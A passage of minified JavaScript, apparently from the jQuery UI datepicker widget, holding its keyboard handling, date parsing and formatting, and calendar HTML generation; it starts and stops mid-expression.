f&&(f.disabled?this._disableDatepicker(t):this._enableDatepicker(t)),this._attachments(n(t),u),this._autoSize(u),this._setDate(u,s),this._updateAlternate(u),this._updateDatepicker(u))},_changeDatepicker:function(n,t,i){this._optionDatepicker(n,t,i)},_refreshDatepicker:function(n){var t=this._getInst(n);t&&this._updateDatepicker(t)},_setDateDatepicker:function(n,t){var i=this._getInst(n);i&&(this._setDate(i,t),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(n,t){var i=this._getInst(n);return i&&!i.inline&&this._setDateFromField(i,t),i?this._getDate(i):null},_doKeyDown:function(t){var u,e,f,i=n.datepicker._getInst(t.target),r=!0,o=i.dpDiv.is(".ui-datepicker-rtl");if(i._keyEvent=!0,n.datepicker._datepickerShowing)switch(t.keyCode){case 9:n.datepicker._hideDatepicker();r=!1;break;case 13:return f=n("td."+n.datepicker._dayOverClass+":not(."+n.datepicker._currentClass+")",i.dpDiv),f[0]&&n.datepicker._selectDay(t.target,i.selectedMonth,i.selectedYear,f[0]),u=n.datepicker._get(i,"onSelect"),u?(e=n.datepicker._formatDate(i),u.apply(i.input?i.input[0]:null,[e,i])):n.datepicker._hideDatepicker(),!1;case 27:n.datepicker._hideDatepicker();break;case 33:n.datepicker._adjustDate(t.target,t.ctrlKey?-n.datepicker._get(i,"stepBigMonths"):-n.datepicker._get(i,"stepMonths"),"M");break;case 34:n.datepicker._adjustDate(t.target,t.ctrlKey?+n.datepicker._get(i,"stepBigMonths"):+n.datepicker._get(i,"stepMonths"),"M");break;case 35:(t.ctrlKey||t.metaKey)&&n.datepicker._clearDate(t.target);r=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&n.datepicker._gotoToday(t.target);r=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&n.datepicker._adjustDate(t.target,o?1:-1,"D");r=t.ctrlKey||t.metaKey;t.originalEvent.altKey&&n.datepicker._adjustDate(t.target,t.ctrlKey?-n.datepicker._get(i,"stepBigMonths"):-n.datepicker._get(i,"stepMonths"),"M");break;case 38:(t.ctrlKey||t.metaKey)&&n.datepicker._adjustDate(t.target,-7,"D");r=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&n.datepicker._adjustDate(t.target,o?-1:1,"D");r=t.ctrlKey||t.metaKey;t.originalEvent.altKey&&n.datepicker._adjustDate(t.target,t.ctrlKey?+n.datepicker._get(i,"stepBigMonths"):+n.datepicker._get(i,"stepMonths"),"M");break;case 40:(t.ctrlKey||t.metaKey)&&n.datepicker._adjustDate(t.target,7,"D");r=t.ctrlKey||t.metaKey;break;default:r=!1}else t.keyCode===36&&t.ctrlKey?n.datepicker._showDatepicker(this):r=!1;r&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(t){var i,r,u=n.datepicker._getInst(t.target);if(n.datepicker._get(u,"constrainInput"))return i=n.datepicker._possibleChars(n.datepicker._get(u,"dateFormat")),r=String.fromCharCode(t.charCode==null?t.keyCode:t.charCode),t.ctrlKey||t.metaKey||r<" "||!i||i.indexOf(r)>-1},_doKeyUp:function(t){var r,i=n.datepicker._getInst(t.target);if(i.input.val()!==i.lastVal)try{r=n.datepicker.parseDate(n.datepicker._get(i,"dateFormat"),i.input?i.input.val():null,n.datepicker._getFormatConfig(i));r&&(n.datepicker._setDateFromField(i),n.datepicker._updateAlternate(i),n.datepicker._updateDatepicker(i))}catch(u){}return!0},_showDatepicker:function(t){if(t=t.target||t,t.nodeName.toLowerCase()!=="input"&&(t=n("input",t.parentNode)[0]),!n.datepicker._isDisabledDatepicker(t)&&n.datepicker._lastInput!==t){var i,e,o,r,u,f,s;(i=n.datepicker._getInst(t),n.datepicker._curInst&&n.datepicker._curInst!==i&&(n.datepicker._curInst.dpDiv.stop(!0,!0),i&&n.datepicker._datepickerShowing&&n.datepicker._hideDatepicker(n.datepicker._curInst.input[0])),e=n.datepicker._get(i,"beforeShow"),o=e?e.apply(t,[t,i]):{},o!==!1)&&(a(i.settings,o),i.lastVal=null,n.datepicker._lastInput=t,n.datepicker._setDateFromField(i),n.datepicker._inDialog&&(t.value=""),n.datepicker._pos||(n.datepicker._pos=n.datepicker._findPos(t),n.datepicker._pos[1]+=t.offsetHeight),r=!1,n(t).parents().each(function(){return r|=n(this).css("position")==="fixed",!r}),u={left:n.datepicker._pos[0],top:n.datepicker._pos[1]},n.datepicker._pos=null,i.dpDiv.empty(),i.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),n.datepicker._updateDatepicker(i),u=n.datepicker._checkOffset(i,u,r),i.dpDiv.css({position:n.datepicker._inDialog&&n.blockUI?"static":r?"fixed":"absolute",display:"none",left:u.left+"px",top:u.top+"px"}),i.inline||(f=n.datepicker._get(i,"showAnim"),s=n.datepicker._get(i,"duration"),i.dpDiv.css("z-index",or(n(t))+1),n.datepicker._datepickerShowing=!0,n.effects&&n.effects.effect[f]?i.dpDiv.show(f,n.datepicker._get(i,"showOptions"),s):i.dpDiv[f||"show"](f?s:null),n.datepicker._shouldFocusInput(i)&&i.input.trigger("focus"),n.datepicker._curInst=i))}},_updateDatepicker:function(t){this.maxRows=4;f=t;t.dpDiv.empty().append(this._generateHTML(t));this._attachHandlers(t);var i,r=this._getNumberOfMonths(t),u=r[1],e=t.dpDiv.find("."+this._dayOverClass+" a"),o=n.datepicker._get(t,"onUpdateDatepicker");e.length>0&&ot.apply(e.get(0));t.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");u>1&&t.dpDiv.addClass("ui-datepicker-multi-"+u).css("width",17*u+"em");t.dpDiv[(r[0]!==1||r[1]!==1?"add":"remove")+"Class"]("ui-datepicker-multi");t.dpDiv[(this._get(t,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl");t===n.datepicker._curInst&&n.datepicker._datepickerShowing&&n.datepicker._shouldFocusInput(t)&&t.input.trigger("focus");t.yearshtml&&(i=t.yearshtml,setTimeout(function(){i===t.yearshtml&&t.yearshtml&&t.dpDiv.find("select.ui-datepicker-year").first().replaceWith(t.yearshtml);i=t.yearshtml=null},0));o&&o.apply(t.input?t.input[0]:null,[t])},_shouldFocusInput:function(n){return n.input&&n.input.is(":visible")&&!n.input.is(":disabled")&&!n.input.is(":focus")},_checkOffset:function(t,i,r){var u=t.dpDiv.outerWidth(),f=t.dpDiv.outerHeight(),h=t.input?t.input.outerWidth():0,o=t.input?t.input.outerHeight():0,e=document.documentElement.clientWidth+(r?0:n(document).scrollLeft()),s=document.documentElement.clientHeight+(r?0:n(document).scrollTop());return i.left-=this._get(t,"isRTL")?u-h:0,i.left-=r&&i.left===t.input.offset().left?n(document).scrollLeft():0,i.top-=r&&i.top===t.input.offset().top+o?n(document).scrollTop():0,i.left-=Math.min(i.left,i.left+u>e&&e>u?Math.abs(i.left+u-e):0),i.top-=Math.min(i.top,i.top+f>s&&s>f?Math.abs(f+o):0),i},_findPos:function(t){for(var i,r=this._getInst(t),u=this._get(r,"isRTL");t&&(t.type==="hidden"||t.nodeType!==1||n.expr.pseudos.hidden(t));)t=t[u?"previousSibling":"nextSibling"];return i=n(t).offset(),[i.left,i.top]},_hideDatepicker:function(t){var r,f,u,e,i=this._curInst;i&&(!t||i===n.data(t,"datepicker"))&&this._datepickerShowing&&(r=this._get(i,"showAnim"),f=this._get(i,"duration"),u=function(){n.datepicker._tidyDialog(i)},n.effects&&(n.effects.effect[r]||n.effects[r])?i.dpDiv.hide(r,n.datepicker._get(i,"showOptions"),f,u):i.dpDiv[r==="slideDown"?"slideUp":r==="fadeIn"?"fadeOut":"hide"](r?f:null,u),r||u(),this._datepickerShowing=!1,e=this._get(i,"onClose"),e&&e.apply(i.input?i.input[0]:null,[i.input?i.input.val():"",i]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),n.blockUI&&(n.unblockUI(),n("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(n){n.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(t){if(n.datepicker._curInst){var i=n(t.target),r=n.datepicker._getInst(i[0]);(i[0].id===n.datepicker._mainDivId||i.parents("#"+n.datepicker._mainDivId).length!==0||i.hasClass(n.datepicker.markerClassName)||i.closest("."+n.datepicker._triggerClass).length||!n.datepicker._datepickerShowing||n.datepicker._inDialog&&n.blockUI)&&(!i.hasClass(n.datepicker.markerClassName)||n.datepicker._curInst===r)||n.datepicker._hideDatepicker()}},_adjustDate:function(t,i,r){var u=n(t),f=this._getInst(u[0]);this._isDisabledDatepicker(u[0])||(this._adjustInstDate(f,i,r),this._updateDatepicker(f))},_gotoToday:function(t){var r,u=n(t),i=this._getInst(u[0]);this._get(i,"gotoCurrent")&&i.currentDay?(i.selectedDay=i.currentDay,i.drawMonth=i.selectedMonth=i.currentMonth,i.drawYear=i.selectedYear=i.currentYear):(r=new Date,i.selectedDay=r.getDate(),i.drawMonth=i.selectedMonth=r.getMonth(),i.drawYear=i.selectedYear=r.getFullYear());this._notifyChange(i);this._adjustDate(u)},_selectMonthYear:function(t,i,r){var f=n(t),u=this._getInst(f[0]);u["selected"+(r==="M"?"Month":"Year")]=u["draw"+(r==="M"?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10);this._notifyChange(u);this._adjustDate(f)},_selectDay:function(t,i,r,u){var f,e=n(t);n(u).hasClass(this._unselectableClass)||this._isDisabledDatepicker(e[0])||(f=this._getInst(e[0]),f.selectedDay=f.currentDay=parseInt(n("a",u).attr("data-date")),f.selectedMonth=f.currentMonth=i,f.selectedYear=f.currentYear=r,this._selectDate(t,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear)))},_clearDate:function(t){var i=n(t);this._selectDate(i,"")},_selectDate:function(t,i){var u,f=n(t),r=this._getInst(f[0]);i=i!=null?i:this._formatDate(r);r.input&&r.input.val(i);this._updateAlternate(r);u=this._get(r,"onSelect");u?u.apply(r.input?r.input[0]:null,[i,r]):r.input&&r.input.trigger("change");r.inline?this._updateDatepicker(r):(this._hideDatepicker(),this._lastInput=r.input[0],typeof r.input[0]!="object"&&r.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(t){var i,r,u,f=this._get(t,"altField");f&&(i=this._get(t,"altFormat")||this._get(t,"dateFormat"),r=this._getDate(t),u=this.formatDate(i,r,this._getFormatConfig(t)),n(document).find(f).val(u))},noWeekends:function(n){var t=n.getDay();return[t>0&&t<6,""]},iso8601Week:function(n){var i,t=new Date(n.getTime());return t.setDate(t.getDate()+4-(t.getDay()||7)),i=t.getTime(),t.setMonth(0),t.setDate(1),Math.floor(Math.round((i-t)/864e5)/7)+1},parseDate:function(t,i,r){if(t==null||i==null)throw"Invalid arguments";if(i=typeof i=="object"?i.toString():i+"",i==="")return null;for(var a,v,f=0,y=(r?r.shortYearCutoff:null)||this._defaults.shortYearCutoff,d=typeof y!="string"?y:(new Date).getFullYear()%100+parseInt(y,10),g=(r?r.dayNamesShort:null)||this._defaults.dayNamesShort,nt=(r?r.dayNames:null)||this._defaults.dayNames,tt=(r?r.monthNamesShort:null)||this._defaults.monthNamesShort,it=(r?r.monthNames:null)||this._defaults.monthNames,e=-1,s=-1,h=-1,p=-1,w=!1,u,l=function(n){var i=o+1<t.length&&t.charAt(o+1)===n;return i&&o++,i},c=function(n){var u=l(n),r=n==="@"?14:n==="!"?20:n==="y"&&u?4:n==="o"?3:2,e=n==="y"?r:1,o=new RegExp("^\\d{"+e+","+r+"}"),t=i.substring(f).match(o);if(!t)throw"Missing number at position "+f;return f+=t[0].length,parseInt(t[0],10)},k=function(t,r,u){var e=-1,o=n.map(l(t)?u:r,function(n,t){return[[t,n]]}).sort(function(n,t){return-(n[1].length-t[1].length)});if(n.each(o,function(n,t){var r=t[1];if(i.substr(f,r.length).toLowerCase()===r.toLowerCase())return e=t[0],f+=r.length,!1}),e!==-1)return e+1;throw"Unknown name at position "+f;},b=function(){if(i.charAt(f)!==t.charAt(o))throw"Unexpected literal at position "+f;f++},o=0;o<t.length;o++)if(w)t.charAt(o)!=="'"||l("'")?b():w=!1;else switch(t.charAt(o)){case"d":h=c("d");break;case"D":k("D",g,nt);break;case"o":p=c("o");break;case"m":s=c("m");break;case"M":s=k("M",tt,it);break;case"y":e=c("y");break;case"@":u=new Date(c("@"));e=u.getFullYear();s=u.getMonth()+1;h=u.getDate();break;case"!":u=new Date((c("!")-this._ticksTo1970)/1e4);e=u.getFullYear();s=u.getMonth()+1;h=u.getDate();break;case"'":l("'")?b():w=!0;break;default:b()}if(f<i.length&&(v=i.substr(f),!/^\s+/.test(v)))throw"Extra/unparsed characters found in date: "+v;if(e===-1?e=(new Date).getFullYear():e<100&&(e+=(new Date).getFullYear()-(new Date).getFullYear()%100+(e<=d?0:-100)),p>-1){s=1;h=p;do{if(a=this._getDaysInMonth(e,s-1),h<=a)break;s++;h-=a}while(1)}if(u=this._daylightSavingAdjust(new Date(e,s-1,h)),u.getFullYear()!==e||u.getMonth()+1!==s||u.getDate()!==h)throw"Invalid date";return u},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(1970/4)-Math.floor(1970/100)+Math.floor(1970/400))*864e9,formatDate:function(n,t,i){if(!t)return"";var u,h=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,c=(i?i.dayNames:null)||this._defaults.dayNames,l=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,a=(i?i.monthNames:null)||this._defaults.monthNames,f=function(t){var i=u+1<n.length&&n.charAt(u+1)===t;return i&&u++,i},e=function(n,t,i){var r=""+t;if(f(n))while(r.length<i)r="0"+r;return r},s=function(n,t,i,r){return f(n)?r[t]:i[t]},r="",o=!1;if(t)for(u=0;u<n.length;u++)if(o)n.charAt(u)!=="'"||f("'")?r+=n.charAt(u):o=!1;else switch(n.charAt(u)){case"d":r+=e("d",t.getDate(),2);break;case"D":r+=s("D",t.getDay(),h,c);break;case"o":r+=e("o",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case"m":r+=e("m",t.getMonth()+1,2);break;case"M":r+=s("M",t.getMonth(),l,a);break;case"y":r+=f("y")?t.getFullYear():(t.getFullYear()%100<10?"0":"")+t.getFullYear()%100;break;case"@":r+=t.getTime();break;case"!":r+=t.getTime()*1e4+this._ticksTo1970;break;case"'":f("'")?r+="'":o=!0;break;default:r+=n.charAt(u)}return r},_possibleChars:function(n){for(var i="",r=!1,u=function(i){var r=t+1<n.length&&n.charAt(t+1)===i;return r&&t++,r},t=0;t<n.length;t++)if(r)n.charAt(t)!=="'"||u("'")?i+=n.charAt(t):r=!1;else switch(n.charAt(t)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":u("'")?i+="'":r=!0;break;default:i+=n.charAt(t)}return i},_get:function(n,t){return n.settings[t]!==undefined?n.settings[t]:this._defaults[t]},_setDateFromField:function(n,t){if(n.input.val()!==n.lastVal){var f=this._get(n,"dateFormat"),r=n.lastVal=n.input?n.input.val():null,u=this._getDefaultDate(n),i=u,e=this._getFormatConfig(n);try{i=this.parseDate(f,r,e)||u}catch(o){r=t?"":r}n.selectedDay=i.getDate();n.drawMonth=n.selectedMonth=i.getMonth();n.drawYear=n.selectedYear=i.getFullYear();n.currentDay=r?i.getDate():0;n.currentMonth=r?i.getMonth():0;n.currentYear=r?i.getFullYear():0;this._adjustInstDate(n)}},_getDefaultDate:function(n){return this._restrictMinMax(n,this._determineDate(n,this._get(n,"defaultDate"),new Date))},_determineDate:function(t,i,r){var f=function(n){var t=new Date;return t.setDate(t.getDate()+n),t},e=function(i){try{return n.datepicker.parseDate(n.datepicker._get(t,"dateFormat"),i,n.datepicker._getFormatConfig(t))}catch(h){}for(var o=(i.toLowerCase().match(/^c/)?n.datepicker._getDate(t):null)||new Date,f=o.getFullYear(),e=o.getMonth(),r=o.getDate(),s=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,u=s.exec(i);u;){switch(u[2]||"d"){case"d":case"D":r+=parseInt(u[1],10);break;case"w":case"W":r+=parseInt(u[1],10)*7;break;case"m":case"M":e+=parseInt(u[1],10);r=Math.min(r,n.datepicker._getDaysInMonth(f,e));break;case"y":case"Y":f+=parseInt(u[1],10);r=Math.min(r,n.datepicker._getDaysInMonth(f,e))}u=s.exec(i)}return new Date(f,e,r)},u=i==null||i===""?r:typeof i=="string"?e(i):typeof i=="number"?isNaN(i)?r:f(i):new Date(i.getTime());return u=u&&u.toString()==="Invalid Date"?r:u,u&&(u.setHours(0),u.setMinutes(0),u.setSeconds(0),u.setMilliseconds(0)),this._daylightSavingAdjust(u)},_daylightSavingAdjust:function(n){return n?(n.setHours(n.getHours()>12?n.getHours()+2:0),n):null},_setDate:function(n,t,i){var u=!t,f=n.selectedMonth,e=n.selectedYear,r=this._restrictMinMax(n,this._determineDate(n,t,new Date));n.selectedDay=n.currentDay=r.getDate();n.drawMonth=n.selectedMonth=n.currentMonth=r.getMonth();n.drawYear=n.selectedYear=n.currentYear=r.getFullYear();f===n.selectedMonth&&e===n.selectedYear||i||this._notifyChange(n);this._adjustInstDate(n);n.input&&n.input.val(u?"":this._formatDate(n))},_getDate:function(n){return!n.currentYear||n.input&&n.input.val()===""?null:this._daylightSavingAdjust(new Date(n.currentYear,n.currentMonth,n.currentDay))},_attachHandlers:function(t){var r=this._get(t,"stepMonths"),i="#"+t.id.replace(/\\\\/g,"\\");t.dpDiv.find("[data-handler]").map(function(){var t={prev:function(){n.datepicker._adjustDate(i,-r,"M")},next:function(){n.datepicker._adjustDate(i,+r,"M")},hide:function(){n.datepicker._hideDatepicker()},today:function(){n.datepicker._gotoToday(i)},selectDay:function(){return n.datepicker._selectDay(i,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return n.datepicker._selectMonthYear(i,this,"M"),!1},selectYear:function(){return n.datepicker._selectMonthYear(i,this,"Y"),!1}};n(this).on(this.getAttribute("data-event"),t[this.getAttribute("data-handler")])})},_generateHTML:function(t){var k,h,et,c,ot,d,st,nt,ht,l,ct,fi,ei,oi,si,lt,tt,hi,at,it,s,p,vt,w,yt,a,f,pt,wt,bt,kt,rt,dt,i,gt,ni,g,v,ut,ti=new Date,ii=this._daylightSavingAdjust(new Date(ti.getFullYear(),ti.getMonth(),ti.getDate())),e=this._get(t,"isRTL"),ai=this._get(t,"showButtonPanel"),ci=this._get(t,"hideIfNoPrevNext"),ri=this._get(t,"navigationAsDateFormat"),o=this._getNumberOfMonths(t),vi=this._get(t,"showCurrentAtPos"),li=this._get(t,"stepMonths"),ui=o[0]!==1||o[1]!==1,ft=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),b=this._getMinMaxDate(t,"min"),y=this._getMinMaxDate(t,"max"),r=t.drawMonth-vi,u=t.drawYear;if(r<0&&(r+=12,u--),y)for(k=this._daylightSavingAdjust(new Date(y.getFullYear(),y.getMonth()-o[0]*o[1]+1,y.getDate())),k=b&&k<b?b:k;this._daylightSavingAdjust(new Date(u,r,1))>k;)r--,r<0&&(r=11,u--);for(t.drawMonth=r,t.drawYear=u,h=this._get(t,"prevText"),h=ri?this.formatDate(h,this._daylightSavingAdjust(new Date(u,r-li,1)),this._getFormatConfig(t)):h,et=this._canAdjustMonth(t,-1,u,r)?n("<a>").attr({"class":"ui-datepicker-prev ui-corner-all","data-handler":"prev","data-event":"click",title:h}).append(n("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(e?"e":"w")).text(h))[0].outerHTML:ci?"":n("<a>").attr({"class":"ui-datepicker-prev ui-corner-all ui-state-disabled",title:h}).append(n("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(e?"e":"w")).text(h))[0].outerHTML,c=this._get(t,"nextText"),c=ri?this.formatDate(c,this._daylightSavingAdjust(new Date(u,r+li,1)),this._getFormatConfig(t)):c,ot=this._canAdjustMonth(t,1,u,r)?n("<a>").attr({"class":"ui-datepicker-next ui-corner-all","data-handler":"next","data-event":"click",title:c}).append(n("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(e?"w":"e")).text(c))[0].outerHTML:ci?"":n("<a>").attr({"class":"ui-datepicker-next ui-corner-all ui-state-disabled",title:c}).append(n("<span>").attr("class","ui-icon ui-icon-circle-triangle-"+(e?"w":"e")).text(c))[0].outerHTML,d=this._get(t,"currentText"),st=this._get(t,"gotoCurrent")&&t.currentDay?ft:ii,d=ri?this.formatDate(d,st,this._getFormatConfig(t)):d,nt="",t.inline||(nt=n("<button>").attr({type:"button","class":"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all","data-handler":"hide","data-event":"click"}).text(this._get(t,"closeText"))[0].outerHTML),ht="",ai&&(ht=n("<div class='ui-datepicker-buttonpane ui-widget-content'>").append(e?nt:"").append(this._isInRange(t,st)?n("<button>").attr({type:"button","class":"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all","data-handler":"today","data-event":"click"}).text(d):"").append(e?"":nt)[0].outerHTML),l=parseInt(this._get(t,"firstDay"),10),l=isNaN(l)?0:l,ct=this._get(t,"showWeek"),fi=this._get(t,"dayNames"),ei=this._get(t,"dayNamesMin"),oi=this._get(t,"monthNames"),si=this._get(t,"monthNamesShort"),lt=this._get(t,"beforeShowDay"),tt=this._get(t,"showOtherMonths"),hi=this._get(t,"selectOtherMonths"),at=this._getDefaultDate(t),it="",p=0;p<o[0];p++){for(vt="",this.maxRows=4,w=0;w<o[1];w++){if(yt=this._daylightSavingAdjust(new Date(u,r,t.selectedDay)),a=" ui-corner-all",f="",ui){if(f+="<div class='ui-datepicker-group",o[1]>1)switch(w){case 0:f+=" ui-datepicker-group-first";a=" ui-corner-"+(e?"right":"left");break;case o[1]-1:f+=" ui-datepicker-group-last";a=" ui-corner-"+(e?"left":"right");break;default:f+=" ui-datepicker-group-middle";a=""}f+="'>"}for(f+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+a+"'>"+(/all|left/.test(a)&&p===0?e?ot:et:"")+(/all|right/.test(a)&&p===0?e?et:ot:"")+this._generateMonthYearHeader(t,r,u,b,y,p>0||w>0,oi,si)+"<\/div><table class='ui-datepicker-calendar'><thead><tr>",pt=ct?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"<\/th>":"",s=0;s<7;s++)wt=(s+l)%7,pt+="<th scope='col'"+((s+l+6)%7>=5?" class='ui-datepicker-week-end'":"")+"><span title='"+fi[wt]+"'>"+ei[wt]+"<\/span><\/th>";for(f+=pt+"<\/tr><\/thead><tbody>",bt=this._getDaysInMonth(u,r),u===t.selectedYear&&r===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,bt)),kt=(this._getFirstDayOfMonth(u,r)-l+7)%7,rt=Math.ceil((kt+bt)/7),dt=ui?this.maxRows>rt?this.maxRows:rt:rt,this.maxRows=dt,i=this._daylightSavingAdjust(new Date(u,r,1-kt)),gt=0;gt<dt;gt++){for(f+="<tr>",ni=ct?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(i)+"<\/td>":"",s=0;s<7;s++)g=lt?lt.apply(t.input?t.input[0]:null,[i]):[!0,""],v=i.getMonth()!==r,ut=v&&!hi||!g[0]||b&&i<b||y&&i>y,ni+="<td class='"+((s+l+6)%7>=5?" ui-datepicker-week-end":"")+(v?" ui-datepicker-other-month":"")+(i.getTime()===yt.getTime()&&r===t.selectedMonth&&t._keyEvent||at.getTime()===i.getTime()&&at.getTime()===yt.getTime()?" "+this._dayOverClass:"")+(ut?" "+this._unselectableClass+" ui-state-disabled":"")+(v&&!tt?"":" "+g[1]+(i.getTime()===ft.getTime()?" "+this._currentClass:"")+(i.getTime()===ii.getTime()?" ui-datepicker-today":""))+"'"+((!v||tt)&&g[2]?" title='"+g[2].replace(/'/g,"&#39;")+"'":"")+(ut?"":" data-handler='selectDay' data-event='click' data-month='"+i.getMonth()+"' data-year='"+i.getFullYear()+"'")+">"+(v&&!tt?"&#xa0;":ut?"<span class='ui-state-default'>"+i.getDate()+"<\/span>":"<a class='ui-state-default"+(i.getTime()===ii.getTime()?" ui-state-highlight":"")+(i.getTime()===ft.getTime()?" ui-state-active":"")+(v?" ui-priority-secondary":"")+"' href='#' aria-current='"+(i.getTime()===ft.getTime()?"true":"false")+"' data-date='"+i.getDate()+"'>"+i.getDate()+"<\/a>")+"<\/td>",i.setDate(i.getDate()+1),i=this._daylightSavingAdjust(i);f+=ni+"<\/tr>"}r++;r>11&&(r=0,u++);f+="<\/tbody><\/table>"+(ui?"<\/div>"+(o[0]>0&&w===o[1]-1?"<div class='ui-datepicker-row-break'><\/div>":""):"");vt+=f}it+=vt}return it+=ht,t._keyEvent=!1,it},_generateMonthYearHeader:function(n,t,i,r,u,f,e,o){var k,d,h,v,y,p,s,a,w=this._get(n,"changeMonth"),b=this._get(n,"changeYear"),g=this._get(n,"showMonthAfterYear"),nt=this._get(n,"selectMonthLabel"),tt=this._get(n,"selectYearLabel"),c="<div class='ui-datepicker-title'>",l="";if(f||!w)l+="<span class='ui-datepicker-month'>"+e[t]+"<\/span>";else{for(k=r&&r.getFullYear()===i,d=u&&u.getFullYear()===i,l+="<select class='ui-datepicker-month' aria-label='"+nt+"' data-handler='selectMonth' data-event='change'>",h=0;h<12;h++)(!k||h>=r.getMonth())&&(!d||h<=u.getMonth())&&(l+="<option value='"+h+"'"+(h===t?" selected='selected'":"")+">"+o[h]+"<\/option>");l+="<\/select>"}if(g||(c+=l+(f||!(w&&b)?"&#xa0;":"")),!n.yearshtml)if(n.yearshtml="",f||!b)c+="<span class='ui-datepicker-year'>"+i+"<\/span>";else{for(v=this._get(n,"yearRange").split(":"),y=(new Date).getFullYear(),p=function(n){var t=n.match(/c[+\-].*/)?i+parseInt(n.substring(1),10):n.match(/[+\-].*/)?y+parseInt(n,10):parseInt(n,10);return isNaN(t)?y:t},s=p(v[0]),a=Math.max(s,p(v[1]||"")),s=r?Math.max(s,r.getFullYear()):s,a=u?Math.min(a,u.getFullYear()):a,n.yearshtml+="<select class='ui-datepicker-year' aria-label='"+tt+"' data-handler='selectYear' data-event='change'>";s<=a;s++)n.yearshtml+="<option value='"+s+"'"+(s===i?" selected='selected'":"")+">"+s+"<\/option>";n.yearshtml+="<\/select>";c+=n.yearshtml;n.yearshtml=null}return c+=this._get(n,"yearSuffix"),g&&(c+=(f||!(w&&b)?"&#xa0;":"")+l),c+"<\/div>"},_adjustInstDate:function(n,t,i){var u=n.selectedYear+(i==="Y"?t:0),f=n.selectedMonth+(i==="M"?t:0),e=Math.min(n.selectedDay,this._getDaysInMonth(u,f))+(i==="D"?t:0),r=this._restrictMinMax(n,this._daylightSavingAdjust(new Date(u,f,e)));n.selectedDay=r.getDate();n.drawMonth=n.selectedMonth=r.getMonth();n.drawYear=n.selectedYear=r.getFullYear();(i==="M"||i==="Y")&&this._notifyChange(n)},_restrictMinMax:function(n,t){var i=this._getMinMaxDate(n,"min"),r=this._getMinMaxDate(n,"max"),u=i&&t<i?i:t;return r&&u>r?r:u},_notifyChange:function(n){var t=this._get(n,"onChangeMonthYear");t&&t.apply(n.input?n.input[0]:null,[n.selectedYear,n.selectedMonth+1,n])},_getNumberOfMonths:function(n){var t=this._get(n,"numberOfMonths");return t==null?[1,1]:typeof t=="number"?[1,t]:t},_getMinMaxDate:function(n,t){return this._determineDate(n,this._get(n,t+"Date"),null)},_getDaysInMonth:function(n,t){return 32-this._daylightSavingAdjust(new Date(n,t,32)).getDate()},_getFirstDayOfMonth:function(n,t){return new Date(n,t,1).getDay()},_canAdjustMonth:function(n,t,i,r){var f=this._getNumberOfMonths(n),u=this._daylightSavingAdjust(new Date(i,r+(t<0?t:f[0]*f[1]),1));return t<0&&u.setDate(this._getDaysInMonth(u.getFullYear(),u.getMonth())),this._isInRange(n,u)},_isInRange:function(n,t){var i,f,e=this._getMinMaxDate(n,"min"),o=this._getMinMaxDate(n,"max"),r=null,u=null,s=this._get(n,"yearRange");return s&&(i=s.split(":"),f=(new Date).getFullYear(),r=parseInt(i[0],10),u=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(r+=f),i[1].match(/[+\-].*/)&&(u+=f)),(!e||t.getTime()>=e.getTime())&&(!o||t.getTime()<=o.getTime())&&(!r||t.getFullYear()>=r)&&(!u||t.getFullYear()<=u)},_getFormatConfig:function(n){var t=this._get(n,"shortYearCutoff");return t=typeof t!="string"?t:(new Date).getFullYear()%100+parseInt(t,10),{shortYearCutoff:t,dayNamesShort:this._get(n,"dayNamesShort"),dayNames:this._get(n,"dayNames"),monthNamesShort:this._get(n,"monthNamesShort"),monthNames:this._get(n,"monthNames")}},_formatDate:function(n,t,i,r){t||(n.currentDay=n.selectedDay,n.currentMonth=n.selectedMonth,n.currentYear=n.selectedYear);var u=t?typeof t=="object"?t:this._daylightSavingAdjust(new Date(r,i,t)):this._daylightSavingAdjust(new Date(n.currentYear,n.currentMonth,n.currentDay));return this.formatDate(this._get(n,"dateFormat"),u,this._getFormatConfig(n))}});n.fn.datepicker=function(t){if(!this.length)return this;if(!n.datepicker.initialized){n(document).on("mousedown",n.datepicker._checkExternalClick);n.datepicker.initialized=!0}n("#"+n.datepicker._mainDivId).length===0&&n("body").append(n.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return typeof 